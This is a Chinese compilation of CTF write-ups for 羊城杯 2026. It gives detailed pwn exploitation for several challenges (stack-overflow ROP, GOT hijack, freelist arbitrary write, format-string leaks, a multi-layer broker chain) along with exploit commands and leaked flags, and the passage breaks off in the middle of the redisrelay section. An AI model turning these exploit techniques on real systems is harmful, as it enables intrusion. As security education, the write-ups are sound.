羊城杯 2026 WP 总汇

总览

分类

题目

状态

Flag

PWN

shell

已解

DASCTF{90473753383559195480046780105493}

PWN

justledger

已解

DASCTF{64982944276361326615422338514064}

PWN

redisrelay

已解

DASCTF{49190317460119079416855869891465}

PWN

xmlbridge

已解

DASCTF{70327800596870093690811579077759}

PWN

vaultcache

已解

DASCTF{41014504357684252657273883456679}

PWN

cacheline

未完成

—

PWN

notebook

未完成

—

PWN

BabyMenu

未完成

—

PWN

LibraryManagementSystem

未完成

—

逆向 / 原生 VM

千千的咲

已解

flag{WuTher1ng_Waves_ch1Sak1_6666}

逆向 / 原生 VM

VVMM

已解

flag{J1nxI_i5_4_6eautiful_g1rl}

WEB

DataPulse

已解

DASCTF{30433301935994253763448862053766}

利用链速览

  • PWN:围绕栈溢出、任意地址写、堆生命周期、tcache 投毒、多级 broker/协议链与 ROP 读 flag 展开。
  • 逆向:围绕 WASM 与原生 VM 的状态机、可逆 ARX 变换、逐轮求逆和最终密钥派生展开。
  • WEB:Webhook SSRF → Gopher 访问 Redis → 修改 Django Session → Pickle 反序列化 RCE → 调用 setuid 程序读取 flag。

内容导航

1. PWN 题目

羊城杯 2026(下午场)WP 汇总

本文把今天下午各题的 writeup 合并为一份,按「总览 → 逐题 → 未完成 → 经验」组织。
各题原始脚本、日志与反编译保存在对应题目录的
work/ 下,可回溯核对。

总览

题目

类型

状态

Flag

shell

PWN(栈溢出 + seccomp)

已解

DASCTF{90473753383559195480046780105493}

justledger

PWN(SQLite 扩展 + 多进程协议)

已解

DASCTF{64982944276361326615422338514064}

redisrelay

PWN(Redis 模块 + 多级 broker)

已解

DASCTF{49190317460119079416855869891465}

xmlbridge

PWN(libxml2 UAF + 五级链路)

已解

DASCTF{70327800596870093690811579077759}

vaultcache

PWN(Redis 模块 + vault 代理链)

已解

DASCTF{41014504357684252657273883456679}

cacheline

PWN(nginx 模块 + broker + vault)

未完成(分析到底层)

—

notebook

Kernel PWN

未完成(反编译阶段)

—

BabyMenu

Windows 提权(驱动)

未完成(资料分析)

—

LibraryManagementSystem

Windows 提权

未完成(环境分析)

—

edgecore / FedResNyFinLedgerOs

—

仅附件

—

一、shell(PWN,已解)

羊城杯 shell (pwn) — writeup

0. 结果

DASCTF{90473753383559195480046780105493}

远程:1.14.76.59:29721(题目附件:pwn + libc.so.6 + ld-linux-x86-64.so.2 + libseccomp.so.2)
EXP:
scripts/exp.py

1. 基本信息

$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX:    NX enabled
PIE:   No PIE (0x400000)
libc: Ubuntu GLIBC 2.35-0ubuntu3.15
NEEDED: libseccomp.so.2, libc.so.6
导入符号: seccomp_init / seccomp_rule_add / seccomp_load / read / write

.text 只有 0x1c9 字节,符号没 strip,关键函数:

void vuln(void) {
    char buf[0x20];
    read(0, buf, 0x30);              // 0x40122b 起
    write(1, "Goodbye!shell.", 9);    // 输出 9 字节 "Goodbye!s"
    return;                          // leave; ret
}

int main(void) {
    sandbox();                       // seccomp: KILL execve(59) / execveat(322), 默认 ALLOW
    write(1, "Give me your name: ", 0x13);
    vuln();
    return 0;
}

seccomp 只杀 execve/execveat,其它 syscall 全放行 → 只能 ORW。

read(0, rbp-0x20, 0x30) 正好覆盖 buf[0x20] + saved rbp + saved rip:
saved rbp 和 saved rip 都可控,这是整题的核心。

2. 关键原语:rbp 控制的任意地址写

vuln 的 epilogue 是 leave; ret:

leave : rsp = rbp ; rbp = [rsp] ; rsp += 8      // 把我们写进去的 saved rbp 弹进 rbp
ret   : rip = saved rip

所以溢出后 rbp 完全可控。此时跳到 vuln 函数体内、prologue 之后 的 0x40122b:

0x40122b: lea rax,[rbp-0x20]
0x40122f: mov edx,0x30
0x401234: mov rsi,rax
0x401237: mov edi,0
0x40123c: call read@plt            ; read(0, rbp-0x20, 0x30)
0x401241: mov edx,9
0x401246: lea rax,[rip+0xdb7]      ; "Goodbye!shell."
0x40124d: mov rsi,rax
0x401250: mov edi,1
0x401255: call write@plt           ; write(1, "Goodbye!shell.", 9)
0x40125a: nop ; leave ; ret        ; -> (rbp=[A], rip=[A+8]), rsp=A+0x10

于是每一轮(round)都是:

rbp = A
  read(0, A-0x20, 0x30)        <-- 向任意地址写 0x30 字节
  write(1, "Goodbye!s", 9)     <-- 每轮固定输出,可用来同步
  leave; ret -> rbp=[A], rip=[A+8]

只要上一轮把 [A]=A_next、[A+8]=0x40122b 写好,就能一条一条 round 串下去。
(注意:若
call read 压栈的返回地址落在 A-0x20 ~ A+0x10 区间内,read 会覆盖自己的返回地址、直接跳到第 6 个 qword,跳过 goodbye。正常 round 让 rsp 远离目的地址即可。)

3. 泄露:把 read@got 改成写 gadget

GOT 是 Partial RELRO,.got.plt 可写:

0x404018 seccomp_init      0x404020 seccomp_rule_add
0x404028 write             0x404030 seccomp_load
0x404038 read

把 read@got 写成 0x401250(mov edi,1 ; call write@plt),block 里的 call read@plt 就变成:

write(1, rbp-0x20, 0x30)     // rsi/rdx 正好是 block 刚设置的 rbp-0x20 / 0x30

→ 任意地址读。取 rbp = 0x404040,泄露 0x404020..0x404050:

[0x404020] seccomp_rule_add  (libseccomp)
[0x404028] write             (libc)   <-- 算 libc base
[0x404030] seccomp_load      (libseccomp)
[0x404038] read@got = 0x401250
[0x404040] [0x404048]        我们自己布的 pivot 值

泄露完 leave; ret 走 [0x404040]/[0x404048],把 rbp/rip 迁到 bss 高处。

4. 恢复 read:_dl_runtime_resolve 再解析一次

read@got 被改坏后普通 read 没了,但 read 的 .plt 桩还在:

0x401070: endbr64 ; push 4 ; jmp 0x401020     ; 4 == read 的 reloc index
0x401020: push [0x404008](link_map) ; jmp [0x404010](_dl_runtime_resolve)

ret 到 0x401070,解析器会重新解析 read、把真实地址回填 read@got,再按当前寄存器调用 read(rdi,rsi,rdx)。
此时 rdi=1(泄露 gadget 留下的)、rsi=0x404020、rdx=0x30 —— 靶场里 0/1/2 是同一个 socket,fd1 可读,所以我们直接喂 48 字节:

[0x404020] seccomp_rule_add@got   原值
[0x404028] write@got              原值(goodbye 还要用)
[0x404030] seccomp_load@got       原值
[0x404038] read@got               libc read 真实地址
[0x404040] [0x404048]             随意

一次调用同时完成「恢复 read@got」和「再写 48 字节」,之后继续走 round。

坑1:解析器的 xsave 保存区很大(本机 ~2.5KB),栈必须放在 bss 页高处
(
0x404e00)。初始试的 0x404040 会写到下面的 RELRO 只读页
0x403000-0x404000,直接 SEGV_ACCERR。

5. 分块 ROP + 二次栈迁移

每轮只有 0x30 字节,第 5、6 个 qword 还被 round 的控制流占用。做法:

chunk = [q0][q1][q2][pop r13; pop r14; ret][A_next][0x40122b]

链执行到 pop r13; pop r14; ret 时把两个控制 qword 白弹掉,再 ret 到下一块开头,
于是每 0x30 字节得到
3 个可用 ROP qword(pop gadget 不能落在每块最后一格,用 ret 填充对齐)。

4 块引导链:

chunk1: pop rdi ; 0        ; ret
chunk2: pop rsi ; BIGBUF(0x404800) ; ret
chunk3: pop rdx ; pop rbx ; 0x400 ; 0
chunk4: read(0,BIGBUF,0x400) ; pop rsp ; BIGBUF

最后一块的 [A]=W1-8、[A+8]=leave;ret 把栈迁回链首,
pop rsp 再迁到 BIGBUF —— 之后就是无长度限制的普通 ROP。

最终 ORW(每条路径一份):

open(path,0) -> pop rdi 3 -> read(3, FLAGBUF, 0x80) -> write(1, FLAGBUF, 0x80)

坑2:libc 的 open() 会覆盖 rdx(caller-saved),pop rdx 必须放在 open 之后,
否则会变成
read(3,buf,0) / write(1,buf,0)(strace 里能直接看到)。

坑3:pwntools 设置 libc.address 之后 libc.sym['read'] 返回的是已重定位地址,
再
+ libc.address 就重复加了 base。要先快照原始偏移。

6. 运行

# 本地(用 mini_socat 模拟靶场的 socket 环境,fd0/1/2 同一个 socket)
python3 scripts/mini_socat.py 10002 &
python3 scripts/exp.py 127.0.0.1 10002 "./flag"

# 远程
python3 scripts/exp.py 1.14.76.59 29721 "/flag"
[*] leak: 0x7fdc62388800 0x7fdc622659c0 0x7fdc62387c50 0x401250 0x404e00 0x40121d
[+] libc base = 0x7fdc62151000
DASCTF{90473753383559195480046780105493}

7. 时间线 / 环境说明

  • 分析:WSL2 Ubuntu 20.04(gdb / objdump / pwntools),未使用 Kali。
  • 附件哈希(SHA256):
  • pwn C9EA48C64357BB5EC0B08084701D49E3F8513E1BEFAD7560671D90FA0261CA8E
  • libc.so.6 B2CF6C33B74D2F22543B7A469A75B538911E690F769D0B238843A49465B83793
  • ld-linux-x86-64.so.2 41DAF7836F7FCE21A40CA63A00C5CAF21B05A35A76CCC075D86F1716212CDF01
  • libseccomp.so.2 0A10B36F83B58889352EF9DE563FDDEB80BA649D6A7108F32F31CFB08693E2A3
  • 远程与本地同一套 libc(泄露的 write 偏移 = 0x1149c0 完全对得上)。

二、justledger(PWN,已解)

2026 羊城杯 justledger PWN Writeup

0. 题目信息

项目

值

题目

justledger

类型

PWN

描述

账本服务中的多阶段内存破坏

远程靶机

1.14.76.59:20989(nc/9999 -> 1.14.76.59:20989)

Flag

DASCTF{64982944276361326615422338514064}

附件包含:

justledger             # SQLite 前端,加载 ledgerprobe.so
ledgerbroker          # 二进制对象服务
ledgervault           # 读 /home/ctf/flag 的 vault
listener              # TCP 9999 -> justledger
ledgerprobe.so        # SQLite 扩展
ld-linux-x86-64.so.2
libc.so.6
libm.so.6
libsqlite3.so.0
description.txt

1. 总体思路

这题不是单点 pwn,而是三层隔离服务:

TCP 9999
  └─ listener
       └─ justledger (SQLite + ledgerprobe.so)
            └─ fd3 -> ledgerbroker
                 └─ fd3 -> ledgervault
                      └─ /home/ctf/flag

justledger 只接受 SQL,authorizer 只放行 SELECT / READ,并且单独拦截 load_extension;broker 只认自己的二进制协议;vault 只和 broker 通信。因此需要分别打穿三层:

  1. ledgerprobe.so:用 SQL 函数做对象操作,利用释放链表实现任意写,覆盖 ledger_fire 的函数指针,跳到扩展内闲置的 poll 转发函数 0x1c10,把 TCP 流接到 broker。
  2. ledgerbroker:用 window 对象读写的“只比较低字节”漏洞越界读写相邻对象,泄露 broker secret 和基址,伪造 ROUTE3 的编码函数指针与 digest,调用 broker 内闲置的转发函数 0x2120,接到 vault。
  3. ledgervault:用 0x91 格式化字符串泄露 secret / canary / PIE / libc / flag fd;用 0xa7 的长度低字节绕过栈溢出检查,ROP 调 read(flag_fd) + write(1) 把 flag 打回来。

关键点是:三层都不能直接读写 flag,必须利用两个“未使用”的转发函数作为跳板。

2. 附件保护与 libc

justledger / ledgerbroker / ledgervault / listener:
  Full RELRO, Canary, NX, PIE, SHSTK, IBT

ledgerprobe.so:
  Full RELRO, Canary, NX, PIE

SQLite 版本为 3.37.2;libc 是题目附带的 Ubuntu glibc(read 偏移 0x114920,write 偏移 0x1149c0)。

3. 第一段:SQLite 扩展 ledgerprobe.so

3.1 SQL 沙箱与函数

justledger 打开 :memory:,加载 ledgerprobe.so,创建虚拟表 ledger,然后对每行 SQL 做:

  • 只允许 SELECT / READ;
  • FUNCTION 动作只拦截 load_extension;
  • 结果列以 hex 打印到 stdout。

扩展注册的函数:

ledger_seed()            0 args
ledger_bind(a,b)         2 args
ledger_make(idx,type,blob) 3 args
ledger_mark(idx)         1 arg
ledger_drop(idx)         1 arg
ledger_audit()           0 args
ledger_touch(blob8)      1 arg
ledger_fire()            0 args

3.2 arming:lease + bind

ledger_seed() 返回一个类型为 ledger.lease 的 pointer value,指向扩展全局 0x5460。

虚拟表 ledger 的 schema 是 x(record, seal HIDDEN)。xBestIndex 只接受 seal = ? 的 EQ 约束;xFilter 把 RHS 的 sqlite3_value* 记录到全局:

[0x5488] = argv[0] ^ [0x5480]   // [0x5480] 是扩展随机 secret
[0x5468] = 0
[0x5470] = [0x5478]

xClose 会把 0x5468 置 1。ledger_bind 要求:

argc == 2
[0x5464] == 0
[0x5488] != 0
[0x5468] != 0
[0x5470] != [0x5478]

然后用 [0x5488] ^ [0x5480] 还原 sqlite3_value*,调用 sqlite3_value_pointer(v, "ledger.lease");如果返回 &0x5460,就把 0x5464 置 1(armed),返回 1。

所以先用一条 vtab 查询完成 xFilter/xClose,再单独 bind:

SELECT * FROM ledger WHERE seal=ledger_seed();
SELECT ledger_bind(ledger_seed(),0);

之后 ledger_make/mark/touch/audit/drop/fire 才可用。

3.3 ROUT 对象与信息泄露

ledger_make(idx, type, blob):

  • idx 0..7;
  • type 0 = NOTE,1 = ROUT,2 = 原始对象(前 0x60 字节由 blob 控制);
  • 对象大小 0x2d8,前 0x60 字节来自 blob;
  • 返回对象下标。

创建 ROUT(type=1)后,对象布局:

偏移

内容

+0x00

tag 0x524f5554

+0x08

全局递增 id

+0x20

ext_base + 0x1260

+0x28

对象自身地址 obj

+0x30

(ext_base+0x1260) ^ secret2 ^ ror(obj,12)

ledger_audit() 返回 obj+0x20 的 32 字节,因此一次就能拿到:

q0 = ext_base + 0x1260
q1 = obj
q2 = (ext_base+0x1260) ^ secret2 ^ ror(obj,12)

恢复:

ext_base = q0 - 0x1260
secret2  = q2 ^ (ext_base + 0x1260) ^ ror(q1, 12)

对应 SQL:

SELECT ledger_make(0,1,zeroblob(96));
SELECT ledger_mark(0);
SELECT ledger_audit();

3.4 释放链表任意写

ledger_drop(idx) 把对象压入释放链表:

[obj] = (obj >> 12) ^ old_head
head  = obj
count++

ledger_make 在 count > 0 时弹出:

head = [0x5408]
next = (head >> 12) ^ [head]
[0x5408] = next
count--
zero(head .. head+0x2d8)
copy 0x60 bytes blob -> head

ledger_touch(blob8) 会把 8 字节写到当前对象(0x5410)的首 8 字节。于是:

  1. 创建对象 0(ROUT,地址已知)和对象 1;
  2. 先 drop(1) 再 drop(0),让 head 是已知的 obj0;
  3. mark(0) 使当前对象仍是 obj0;
  4. ledger_touch(X'<obj0>>12 ^ target>') 改写 obj0 的 next;
  5. 两次 ledger_make:第一次弹出 obj0 并把 head 设为 target;第二次弹出 target,先清零 target..target+0x2d8,再把 0x60 字节 blob 复制到 target。

这就得到了一个 0x60 字节的任意地址写。

3.5 覆盖 ledger_fire 指针

ledger_fire():

if argc != 0: error
if [0x5464] == 0: error
if [0x5110] == 0: error
rax = [0x5110] ^ [0x53f0] ^ 0x91e10da5c79b43f2
rax = rol(rax, 23)
if rax != [0x5118]: error
result_int(ctx, 1)
jmp [0x5110]

0x5110 初始值是 (ext_base+0x5110)>>12,0x5118 是对应的校验和。用任意写把它改成扩展内闲置的 poll 转发函数 ext_base+0x1c10:

proxy = ext_base + 0x1c10
check = rol(secret2 ^ proxy ^ 0x91e10da5c79b43f2, 23)

然后执行:

SELECT ledger_fire();

ledger_fire 校验通过后跳进 0x1c10。该函数 poll fd0(stdin)和 fd3(broker),把两边数据互相转发。此时 TCP 连接变成裸字节流,可以直接说 broker 协议。

注意:不要写 0x5020 的 module struct。ledger_make 在复制前会清零 target+8 .. target+0x2d8;如果 target 是 0x5020,会覆盖 0x5100 的 sqlite3_api 指针,导致下一次调用 API 时崩溃。写 0x5110 的清零范围从 0x5118 开始,刚好不碰 0x5100。

4. 第二段:broker

4.1 协议

4 字节头:

byte 0: type
byte 1: subtype / index
byte 2-3: uint16 length (little endian)

常用消息:

type

含义

0x31

创建 WINDOW3

0x47

创建 SLICE3

0x59

创建 ROUTE3

0x6a / 0x6b

window 读 / 写

0x72 / 0x73

slice 读 / 写

0x7e

调用 ROUTE3

响应也是 4 字节头 + data;成功时 type=0。

4.2 window 越界

WINDOW3 对象是 calloc(0x200);读写目标为:

dest = window + off + 0x40

检查:

off + len <= 0x70      // 只比较了低字节!
off <= 0x100
len <= 0x600 (读) / 0x220 (写)

(0x100 + 0x400) & 0xff == 0,所以 off=0x100, len=0x400 可以读越界;off=0x100, len=0x100 可以写越界。

堆布局非常稳定:

window  W
route   W+0x210
slice   W+0x420

读起点是 W+0x140,因此:

route tag 在数据偏移 0xd0
slice tag 在数据偏移 0x2e0

4.3 泄露 broker secret

SLICE3 创建时:

[slice+0x10] = (slice+0x80) ^ rol(S, 9)
[slice+0x20] = slice

其中 S = [0x5040] 是 broker 的随机 secret。读出后:

S = ror(u64(slice+0x10) ^ ((u64(slice+0x20) + 0x80) & MASK), 9)

ROUTE3 创建时:

counter = [route+0x08]
E       = rol((broker_base+0x1770) ^ S ^ route, 29)
digest  = mix(S ^ E ^ counter ^ 0x6f27c4b19a5e38d2)
[route+0x10] = E
[route+0x18] = digest
[route+0x20] = route

mix 是 splitmix64 的 finalizer:

def mix(x):
    x &= (1<<64)-1
    x ^= x >> 30
    x = (x * 0xbf58476d1ce4e5b9) & MASK
    x ^= x >> 27
    x = (x * 0x94d049bb133111eb) & MASK
    x ^= x >> 31
    return x & MASK

由 route 的 E 反推:

target = ror(E, 29) ^ S ^ route
broker_base = target - 0x1770

4.4 伪造 ROUTE3 调用 broker proxy

把 E 改成:

E2 = rol((broker_base + 0x2120) ^ S ^ route, 29)
digest2 = mix(S ^ E2 ^ counter ^ 0x6f27c4b19a5e38d2)

用 window 的 0x6b 写 off=0x100, len=0x100,从 W+0x140 写回 0x100 字节,在 0xd0+0x10 / 0xd0+0x18 处打补丁。

然后发送 0x7e(subtype 0,len 0)。broker 校验 tag、self pointer、digest 后:

rcx = ror([route+0x10], 29) ^ (route ^ S)
    = broker_base + 0x2120
call rcx

进入 broker 的 poll 转发函数 0x2120。它 poll fd0(justledger)和 fd3(vault),双向转发。至此 TCP 流接到 vault。

5. 第三段:vault

5.1 协议

vault 主循环读 4 字节头:cmd、保留字节、uint16 length。

  • 0x91:读入 length 字节格式化字符串,经过过滤后调用 __dprintf_chk(1,1,fmt,...) 打印;
  • 0xa7:读入 length 字节到栈缓冲区 rbp-0x120。

5.2 格式化字符串泄露

发送:

cmd 0x91, len = len(fmt)
fmt = "AAAA" + ".%p" * 8

__dprintf_chk 的 8 个 vararg 全部用 secret 混淆:

参数

含义

1

(base+0x1ac0) ^ S

2

rol(S,13) ^ read_addr

3

flag_fd ^ ror(S,9)

4

rol(S,31) ^ canary

5

S ^ 0x58df37a91c62e40b

6

arg1 ^ arg2

7

arg3 ^ arg4

8

0x4c564c335345414c

恢复:

S        = arg5 ^ 0x58df37a91c62e40b
flag_fd  = arg3 ^ ror(S, 9)
canary   = arg4 ^ rol(S, 31)
base     = (arg1 ^ S) - 0x1ac0
libc     = (arg2 ^ rol(S, 13)) - 0x114920   # libc read

这里 flag_fd 是 vault 在降权前打开 /home/ctf/flag 得到的 fd;由于前面随机打开了若干次 /dev/null,fd 在 4..11 之间随机,但泄露可以直接算出来。

5.3 栈溢出

0xa7 调用 0x1b80:

buffer = rbp - 0x120
canary = rbp - 0x18   -> buffer+0x108
saved rbx = rbp - 0x08
saved rbp = rbp
ret       = rbp + 0x08 -> buffer+0x128

长度检查:

len & 0xff <= 0x80
len <= 0x400

0x200 通过。布局:

偏移

内容

0x000

padding

0x108

canary

0x110

未用

0x118

saved rbx

0x120

saved rbp

0x128

ROP

5.4 ROP 读 flag

libc gadget:

pop rdi; ret              libc+0x2a3e5
pop rsi; ret              libc+0x2be51
pop rdx; pop rbx; ret     libc+0x90469

ROP:

pop rdi; flag_fd
pop rsi; vault_base+0x4100
pop rdx; 0x200; 0
read
pop rdi; 1
pop rsi; vault_base+0x4100
pop rdx; 0x200; 0
write

0xa7 payload 长度 0x200。vault 从已打开的 flag fd 读 0x200 字节,再写到 fd1,沿 broker -> justledger -> TCP 原路返回。EXP 从返回字节中匹配 DASCTF{...} 或 flag{...}。

6. 本地复现

把附件放到 /home/ctf,写好本地占位 flag:

printf 'flag{xxx}' > /home/ctf/flag
chmod 600 /home/ctf/flag

用附带的 loader/libc 启动:

cd /home/ctf
./ld-linux-x86-64.so.2 --library-path /home/ctf ./ledgervault &
./ld-linux-x86-64.so.2 --library-path /home/ctf ./ledgerbroker &
./ld-linux-x86-64.so.2 --library-path /home/ctf ./listener &

然后:

python solve.py 127.0.0.1 9999

本地输出:

[+] FLAG: flag{xxx}

本地 /home/ctf/flag 是占位值,不是比赛 flag。

7. 远程复现

python solve.py 1.14.76.59 20989

实测输出:

[*] ext base=0x7f5535711000 obj0=0x555555a51320 secret2=0x128b3f1187c8b4cd
[*] route off=0xd0 slice off=0x2e0
[*] broker base=0x7f687f922000 secret=0x4bfb370ac657167 route=0x55555610a580
[*] format leak: b'AAAA.0x60d3eb1c0a316a09.0x728622b95862353a.0x64b069ca19765efc.0x481b707fc4c91319.0x380ca39bf0df14c2.0x1255c9a552535f33.0x2cab19b5ddbf4de5.0x4c564c335345414c\n'
[*] secret=0x60d39432ecbdf0c9 fd=4 canary=0x3e45881b74a0d900 vault=0x7f2ee68c8000 libc=0x7f2ee669d000
[+] FLAG: DASCTF{64982944276361326615422338514064}

连续两次运行得到同一 flag:

DASCTF{64982944276361326615422338514064}

8. 踩坑记录

  1. 扩展任意写不能写 0x5020
    ledger_make 复制前会清零 target+8..target+0x2d8,0x5020 会覆盖 0x5100 的 sqlite3_api 指针;应写 0x5110,其清零起点是 0x5118。
  2. ROUT 编码里是 base+0x1260,不是 0x1260
    lea rax,[rip-...] 得到的是运行时地址,恢复 secret2 时必须用 ext_base+0x1260。
  3. 运算符优先级
    反推 broker 基址时写成
    ror(E,29) ^ S ^ route - 0x1770 会被 Python 解析成 ror(E,29) ^ S ^ (route-0x1770),必须显式加括号。
  4. window 越界检查只看低字节
    cmp r9b,0x70 只比较 (off+len) 的低 8 位,因此 off=0x100,len=0x400 能过;不要误以为它检查完整 16 位。
  5. vault 格式化参数位置
    8 个 vararg 的排列是固定的;恢复 secret 用第 5 个,flag fd 用第 3 个,canary 用第 4 个,PIE 用第 1 个,libc 用第 2 个。
  6. vault 的 flag fd 是随机的
    前面会随机打开 1..7 次
    /dev/null,所以 flag fd 不固定;但格式化字符串能直接泄露,不用爆破。

9. 修复建议

  • ledger_make 的释放链表应在复制前完整校验目标是否在对象池内;不要把用户可控的 next 直接当对象指针。
  • 所有长度/偏移检查使用完整位宽,不要只比较低字节(window 的 off+len、vault 的 len & 0xff)。
  • 不要让扩展把 sqlite3_value* 保存在全局并在语句结束后继续使用;ledger_bind 的 lease 校验存在 UAF/悬垂指针风险。
  • 不要把可被覆盖的函数指针(0x5110)放在可写 .bss 且缺少完整性保护;应使用只读表或指针认证。
  • vault 的格式化字符串应固定格式,不要直接把用户输入当 format;栈读入应严格限制在缓冲区大小内。

附录:完整 EXP

三、redisrelay(PWN,已解)

redisrelay Writeup(2026 羊城杯 初赛 PWN · 中等)

Flag:DASCTF{49190317460119079416855869891465}
入口:
nc 1.14.76.59 18413(redis TCP)
Exp:
work/scripts/exp_chain.py --host <ip> --port <port> --timeout 20

0. 题目概览

附件给了同版本的 Redis 7.2.16(带调试符号)+ libc.so.6 + 六个 strip 过的 PIE 程序:

redis-server        加载原生模块 redisrelay.so(uid 1)
relaybroker         前端代理(uid 2)
routeattestor       证明/票据层(uid 3)
routevault          金库层(uid 4)
routeledger         账本层(uid 5)
routecouncil        议事层(uid 6,持有 flag 的只读 fd)

描述里写得很清楚:六者分属六个 UID / 六个独立地址空间,只有每会话的 council worker 持有动态 flag 的只读 fd(fd 4),选手必须在同一条 Redis 连接里依次取得六种“能力”。

拓扑是硬编码的 unix socket 链:

redis --(module relay.*)--> /run/redisrelay/front/relaybroker.sock
      --> /run/redisrelay/attestor/routeattestor.sock
      --> /run/redisrelay/vault/routevault.sock
      --> /run/redisrelay/ledger/routeledger.sock
      --> /run/redisrelay/council/routecouncil.sock

每一层的监听父进程 accept 后 fork,子进程先连下一层并替客户端写好 16 字节握手前缀,再 dup2 + execve --serve。所以选手从 Redis 侧只用一条 TCP,往下每一层都是“上一层隧道里塞下一层的帧”。

二进制保护:Full RELRO / Canary / NX / PIE / SHSTK / IBT;交付的 libc.so.6 是 Ubuntu 22.04 glibc 2.35(ld 在附件里没有,本地复现需自备同版本 ld-linux)。

$ checksec routevault
    Arch: amd64-64-little
    RELRO: Full RELRO   Stack: Canary found   NX: NX enabled
    PIE: PIE enabled    SHSTK: Enabled        IBT: Enabled

1. 通用帧格式

除 redis RESP 外,五层服务共用同一套“4 字节长度 + 16 字节头”的帧:

struct hdr {
    uint32_t magic;    // 4 字节 ASCII,如 "RBK3" / "RTA4" / "RLV3" / "LGD5" / "RNC5"
    uint8_t  op;       // 操作码
    uint8_t  idx;      // 槽位(很多地方实际按“有符号字节”用,见后文)
    uint8_t  idx2;
    uint8_t  zero;     // 必须为 0
    uint32_t bodylen;  // == total_len - 16
    uint32_t seq;      // 必须严格递增(服务端记录“目前见过的最大值”)
};

回包同构,只把 magic 换成应答值("RBS3" / "RTS4" / "RLR3" / "LGR5" / "RNR5"),seq 回显。任何长度/魔数/seq 不合法,会话直接退出。

各层入口的 16 字节前缀(在 .rodata 里,父进程accept时代发,选手永远不要自己发):

层

前缀(16B)

broker 收

RB4/ATTEST + 6 随机

attestor 收

RA4/BROKER\x9a1G\xc2mX

vault 收

RV4/ATTEST\x9dBq\xe3Z&

ledger 收

RL5/VAULT/LEDGER

council 收

RC5/LEDGER/COUNC

2. 第 0 层:redisrelay.so(模块 → relay armed)

2.1 对象与状态机

模块每个 Redis 客户端对应一个 session(Alloc(104)),字段:

+0x00 clientid        +0x38 id
+0x08 obj             +0x40 obj+0x18(8 字节随机)
+0x10 bound(obj)      +0x48 fragment 掩码(要 ==0xF)
+0x18 ledger          +0x4C active
+0x20 stamps[3]       +0x50 broker fd
+0x60 next            +0x58 commit 写入的校验值

relay.begin <seed> 分配 session + 512 字节 route 对象(magic "RRROUET3" = 0x335445554F525252),并把 128..0x1000 字节的 seed 拷到 obj+0x50:

v13 = RedisModule_Alloc(512);
*(u64*)v13 = 0x335445554F525252;          // 注意实际字节是 "RRROUET3"
*(u64*)(v13+0x08) = ++counter;
*(u64*)(v13+0x10) = v13 ^ key3;
getrandom(v13+0x18, 8);
*(u64*)(v13+0x20) = clientid ^ rol(key1,7);
*(u64*)(v13+0x28) = rol(v13 ^ key2 ^ sub_8300, 17);
*(u64*)(v13+0x40) = sub_8460(v13);        // hash
memcpy(v13+0x50, seed, len);              // ← 溢出点,但本解法不用它

2.2 泄漏:retire + ledger 复用

  • relay.bind → session+0x10 = obj
  • relay.retire → free(obj),但仍保留 session+0x10
  • relay.ledger → Alloc(512),当且仅当返回地址 == session+0x10 时才把新对象登记为 ledger(jemalloc 的 512 类会复用刚释放的块)

于是 session+0x10 和 +0x18 指向同一块内存,relay.snapshot 返回的 80 字节就是 ledger 头:

+0x00 "RLEDGER3"
+0x08 rand
+0x10 qword_11018                     ← key3
+0x18 sub_8300 ^ rol(rand,13)         ← 反推模块基址
+0x20 rand ^ rol(sub_8300,29) ^ qword_11020   ← key2
+0x28 clientid ^ rol(qword_11010,7)   ← key1
+0x30 旧 obj+0x18
+0x38 hash

而在 retire 之前先 relay.snapshot 拿到旧 route 的 +0x10 = obj ^ key3,两边一 XOR 就得到 obj 地址。至此 key1/key2/key3、模块基址、堆地址全齐。

2.3 stamp 地址:从“预测”改成“泄漏”

relay.stamp i 分配 256 字节并写:

*(u64*)(stamp+0x00) = "RRSTAMP3";
*(u64*)(stamp+0x08) = i;
*(u64*)(stamp+0x10) = stamp ^ qword_11018;   // ← 关键

relay.stampinfo i 返回 48 字节,正好包含 +0x10,所以:

stamp_addr = u64(stampinfo[i][0x10:0x18]) ^ key3

这条一条就够了。踩坑点:最初用 jemalloc 布局预测(obj-0x9E00/0x9C00/0x9B00)在本地全新进程上成立,但远端拿到的是顺序相反的 obj-0x9B00/0x9C00/0x9E00,commit 必报 ERR route integrity。改成泄漏后本地(含被反复使用的 redis)与远端都稳定。

2.4 fragment 与 commit

relay.fragment idx auth data 把 128 字节写到 obj + idx*128(idx 0..3,正好覆盖 512),鉴权:

chain = session+0x40;                       // 无 stamp 时为 0
for each stamp: chain = rol(stamp+0x40 ^ stamp ^ stamp+0x38 ^ chain, 11/20/29)
auth  = rol(chain ^ obj ^ key2 ^ 0x9E3779B97F4A7C15*(idx+1), 7*idx+9)

relay.commit 校验:

obj[0]=="RRROUET3"、obj+8==id、obj+16==obj^key3、obj+24==session+0x40、
obj+32==clientid^rol(key1,7)、obj+40==rol(obj^key2^sub_8400,17)、
obj+48==stamp chain、obj+56==1、obj+64==sub_8460(obj)

然后 sub_8400(obj, session) 把 session+0x58 写成 mix(obj+0x18 ^ obj+0x30 ^ clientid ^ 0x243F6A8885A308D3),回 relay armed。

relay.tunnel <frame> 再校验 session+0x58 == mix(chain ^ session+0x40 ^ clientid ^ const),通过后把 u32 len + frame 写给 broker,并读回 u32 len + 应答。

于是只要自己按上面的公式拼好 4 个 128 字节分片(img),commit 一次就能拿到“broker 能力”。

# exp_local.py 里 arm_relay() 的核心
img = bytearray(512)
img[0:8] = b"RRROUET3"
struct.pack_into("<Q", img, 8,  id)
struct.pack_into("<Q", img, 16, obj ^ key3)
struct.pack_into("<Q", img, 24, session64)
struct.pack_into("<Q", img, 32, clientid ^ rol(key1,7))
struct.pack_into("<Q", img, 40, rol(obj ^ key2 ^ (modbase+0x8400), 17))
struct.pack_into("<Q", img, 48, chain)
struct.pack_into("<Q", img, 56, 1)
struct.pack_into("<Q", img, 64, mix(xor(q0..q7) ^ key2 ^ 0x243F6A8885A308D3))

3. 第 1 层:relaybroker(# → RB4/ATTEST)

3.1 对象

op

作用

0x7F

ping → RB4/PONG

0x10

建 probe(calloc(0x90))→ qword_7120[idx]

0x11

link probe → 别名 qword_70E0[idx2]

0x12

dump 0x28

0x13

free probe(别名不清空 → UAF)

0x14

往别名写 0x90 字节(整块写 freed probe)

0x15

用 probe 头做 sub_2410 解析(相对代码 ±0x20000 的任意 qword 读),每次消耗别名

0x20

建 route(calloc(0x200),magic "RRBROUT3")

0x21

dump 0x40

0x22

写 route + 0x40 + 8*idx

